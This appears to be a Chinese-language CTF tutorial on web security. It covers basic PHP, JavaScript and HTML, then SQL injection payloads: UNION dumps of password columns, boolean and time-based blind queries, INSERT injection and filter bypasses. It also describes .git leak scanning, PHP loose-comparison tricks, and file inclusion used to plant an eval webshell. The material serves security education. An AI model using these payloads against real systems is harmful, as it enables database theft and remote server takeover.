Web
Web可以简单地划分为前端和后端。简单来说,Web方向的工作是通过查找前端中的代码从而寻找并攻破后端。
常用工具
- phpstudy:可用于快速搭建本地web服务器,集成了很多web需要用的工具。
- Node.js:一个轻量高效的Javascript运行环境。
PHP
一门早期web开发语言,可使用phpstudy快速地完成环境配置。
示例:PHP
Example
PHP |
---|
| <?php
// PHP 示例:一个简单的用户管理系统
// 定义一个用户类
class User {
// 类属性
public $name;
public $email;
// 构造函数
public function __construct($name, $email) {
$this->name = $name;
$this->email = $email;
}
// 方法:显示用户信息
public function displayUserInfo() {
echo "Name: " . $this->name . ", Email: " . $this->email . "<br>";
}
}
// 继承User类创建一个管理员类
class Admin extends User {
// 管理员特有的属性
public $role = "Administrator";
// 重写方法:显示用户信息
public function displayUserInfo() {
echo "Name: " . $this->name . ", Email: " . $this->email . ", Role: " . $this->role . "<br>";
}
}
// 使用User类创建一个对象
$user1 = new User("John Doe", "john@example.com");
$user1->displayUserInfo();
// 使用Admin类创建一个对象
$admin1 = new Admin("Jane Doe", "jane@example.com");
$admin1->displayUserInfo();
// 使用循环和条件语句
$users = [$user1, $admin1];
foreach ($users as $user) {
if ($user instanceof Admin) {
echo $user->name . " is an admin.<br>";
} else {
echo $user->name . " is a regular user.<br>";
}
}
// 使用数组
$numbers = [1, 2, 3, 4, 5];
echo "Sum: " . array_sum($numbers) . "<br>";
// 使用字符串函数
$greeting = "Hello, World!";
echo "Reversed greeting: " . strrev($greeting) . "<br>";
?>
|
不需要会写,但需要能够读懂大部分的语句。详细教程可看:PHP|菜鸟教程
安装与版本切换
Bash |
---|
| sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install php7.2
sudo apt-get install php7.1
sudo apt-get install php7.0
sudo apt-get install php5.6
# Switch the version
sudo update-alternatives --config php
|
Javascript
JavaScript 是一种高级的、解释执行的编程语言,它是网页开发的核心技术之一。
示例:Javascript
Example
JavaScript |
---|
| // JavaScript 示例:一个简单的待办事项应用
// 待办事项类
class Todo {
constructor(task) {
this.task = task;
this.completed = false;
}
// 切换任务完成状态
toggleCompleted() {
this.completed = !this.completed;
}
}
// 待办事项管理器
class TodoManager {
constructor() {
this.todos = [];
}
// 添加新的待办事项
addTodo(task) {
const newTodo = new Todo(task);
this.todos.push(newTodo);
}
// 标记待办事项为完成
completeTodo(index) {
if (index >= 0 && index < this.todos.length) {
this.todos[index].toggleCompleted();
}
}
// 显示所有待办事项
displayTodos() {
this.todos.forEach((todo, index) => {
console.log(`${index + 1}: ${todo.task} - Completed: ${todo.completed}`);
});
}
}
// 使用示例
const myTodoManager = new TodoManager();
myTodoManager.addTodo("Learn JavaScript");
myTodoManager.addTodo("Read a book");
myTodoManager.completeTodo(0); // 标记第一个待办事项为完成
myTodoManager.displayTodos(); // 显示所有待办事项
|
详细教程可看:Javascript|菜鸟教程
HTML和CSS
在网页的显示中,HTML 负责网页的结构和内容, CSS 负责网页的布局和外观设计。想要了解网页功能,我们会更加关注HTML部分,需要熟悉掌握语法。
示例:HTML
Example
HTML |
---|
| <!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>我的网页</title>
<style>
body {
font-family: Arial, sans-serif;
}
h1 {
color: navy;
}
p {
color: #555;
}
</style>
</head>
<body>
<h1>欢迎来到我的网页</h1>
<p>这是一个简单的HTML示例。</p>
<p>HTML帮助你创建网页结构。</p>
<a href="https://www.example.com">访问我的链接</a>
</body>
</html>
|
详细的教程还请查看:HTML|菜鸟教程
SQL注入
SQL注入(SQL Injection)是一种常见的网络安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码,来操纵数据库查询,从而获取、修改或删除数据库中的数据。SQL注入攻击通常发生在应用程序没有正确处理用户输入的情况下。
常用的工具有Burp Suite和Sqlmap,前者用于抓包,后者用于自动化注入。
基础注入
根据网站功能猜测 Sql语句:
SQL |
---|
| SELECT column1, column2, ...
FROM table_name
WHERE condition;/* id = num or id = 'num' 数字型和字符型 */
|
构造运算式来判断是数字型还是字符型,如 1 和 2 - 1;或分别输入奇数个和偶数个引号看是否报错。
联合查询:UNION SELECT () FROM table_name
前后列数必须一致:
SQL |
---|
| id=3 union select 1,2 /* 刚好两列时才能够正常输出 */
|
使用UNION获取更多数据:
SQL |
---|
| 在MySQL中,所有的数据库名存放在information_schema.schemata的schema_name字段下
SELECT schema_name FROM information_schema.schemata;
所有的表名存放在information_schema.tables的table_name字段下,可以以table_schema为条件筛选
SELECT table_name FROM information_schema.tables WHERE table_schema='db_name';
所有的列名存放在information_schema.columns的column_name字段下,可以以table_schema和table_name为条件筛选
SELECT column_name FROM information_schema.columns WHERE table_name='table_name'
AND table_schema='db_name';
SELECT col_name1, …, col_nameN FROM table_name WHERE id = 3 UNION SELECT
group_concat(schema_name), 2, 3 FROM information_schema.schemata;
获取所有数据库信息,以此类推
获取到表、列名后,可以获取其他数据。这里以users表中的passwd字段为例
SELECT col_name1, …, col_nameN FROM table_name WHERE id = 3 UNION SELECT
group_concat(passwd), 2, 3 FROM users;
如果想要分行获取,也可以借助LIMIT
SELECT col_name1, …, col_nameN FROM table_name WHERE id = 3 UNION SELECT passwd, 2, 3
FROM users LIMIT 0, 1;
|
SELECT * FROM
'users' WHERE username = 'ro' 'ot'
也能输出user found:语法会自动拼接字符串,中间要隔一个空格。
user.php?uname=NotaUser' or '1' = '1:可以拼接成完整的bool语句。

Text Only |
---|
| uname=a' or ASCII(SUBSTR(DATABASE(), 1, 1))>0#
SELECT col_name(…) FROM table_name WHERE username = 'a' or ASCII(SUBSTR(DATABASE(), 1, 1))>0#'
返回User Found,说明DATABASE()的第一位的ASCII码>0
SELECT col_name(…) FROM table_name WHERE username = 'a' or ASCII(SUBSTR((SELECT GROUP_CONCAT(passwd) FROM users), 1, 1))>0#'
|
利用响应时间获得数据:IF(condition, expr1, expr2)
如果condition为真就执行expr1,反之执行expr2,在expr里使用不同的延时sleep(time)就能获得结果,为了保证能够运行,中间的连接使用AND,因为sql也会截短运行,在保证前面是正确的情况下,后面的语句一定会执行。
特殊注入
INSERT, UPDATE, DELETE语句的注入:
Text Only |
---|
| uname='='' AND IF({condition}, SLEEP(0), SLEEP(5)) AND ''='&email=a&passwd=b
uname=', DATABASE(), '')#&email=a&passwd=b /* #号是注释 */
|
报错注入:构造错误路径,让报错输出错误的路径,不能有语法错误,否则语法错误会掩盖路径错误。
堆叠注入:一行语句内有多条指令,即多个分号分隔的指令。
二次注入:第一次注入的时候恶意指令被转义,但存入数据库的指令没有转义,于是第二次注入时只需调出存入数据库的指令,就能实现拼接指令(需要在第二次注入的时候没有转义的判断)。
注入绕过
关键字/正则:大小写,等价命令,重复输入
语义匹配:嵌套注释
其他:

大多数获取数据的语句都需要用到select关键词,如果select完全被屏蔽了可以试着使用table语句。(这个处理方法只支持MySQL8以上的版本)
一些简单攻击
Git leaks & file leaks
- Scan possible folders: using
dirsearch -u <http://
- Using GitHack to extract key info from
.git
folder
弱比较
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较(强比较)
== 在进行比较的时候,会先将字符串类型转化成相同,再比较(弱比较)
PHP |
---|
| <?php
var_dump("a"==0); //true
var_dump("1a"==1); //true
var_dump("a1"==1); //false
var_dump("a1"==0); //true
var_dump("0e123456"=="0e234567"); //true
var_dump(0=="1a"); //false
?>
|
Note
var_dump("a"==0); //true
- 当字符串和数字进行比较时,字符串会被转换为数字。因为字符串
"a"
不以数字开始,所以它被转换为数字 0
,因此 0 == 0
为 true
。
var_dump("1a"==1); //true
- 在这个例子中,字符串
"1a"
被转换为数字时,转换会在遇到非数字字符前停止,因此 "1a"
转换为数字 1
,所以 1 == 1
为 true
。
var_dump("a1"==1); //false
- 由于
"a1"
以非数字字符开始,所以在转换为数字时整个字符串被视为 0
,因此比较结果为 0 == 1
,即 false
。
var_dump("a1"==0); //true
- 同上,
"a1"
被转换为 0
,所以 0 == 0
为 true
。
var_dump("0e123456"=="0e234567"); //true
- 这个例子涉及到 PHP 中的一个特殊情况,当字符串遵循科学记数法的格式时,它们会被转换为浮点数。然而,由于
"0e任何数"
都会被解释为 0
(因为它相当于 0
乘以 10
的任何次方),所以两边都被转换为 0
,因此比较结果为 true
。
var_dump(0=="1a"); //false
- 这里
"1a"
被转换为数字 1
(如之前解释的那样),因此比较结果为 0 == 1
,即 false
。
变量覆盖
创建新的同名变量可以覆盖原变量,如用extract()展开键值对。
文件包含
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序安全漏洞,攻击者可以通过操纵输入参数,使应用程序包含并执行任意文件。这种漏洞通常发生在PHP等支持文件包含功能的编程语言中,能造成文件泄露和代码注入。
文件泄露可以用于读取服务器内容,代码注入可以向服务器上传木马。
常用的技巧有PHP伪协议、包含session文件、包含临时文件、包含上传文件、包含本地文件等。
以包含上传文件为例,可以用简单的一句话木马来实现代码注入:
这个代码的eval函数能够让服务器执行POST请求中的a参数包含的代码,这样就能让服务器执行任意指令,然后就可以使用中国蚁剑来实现图形化控制远程服务器。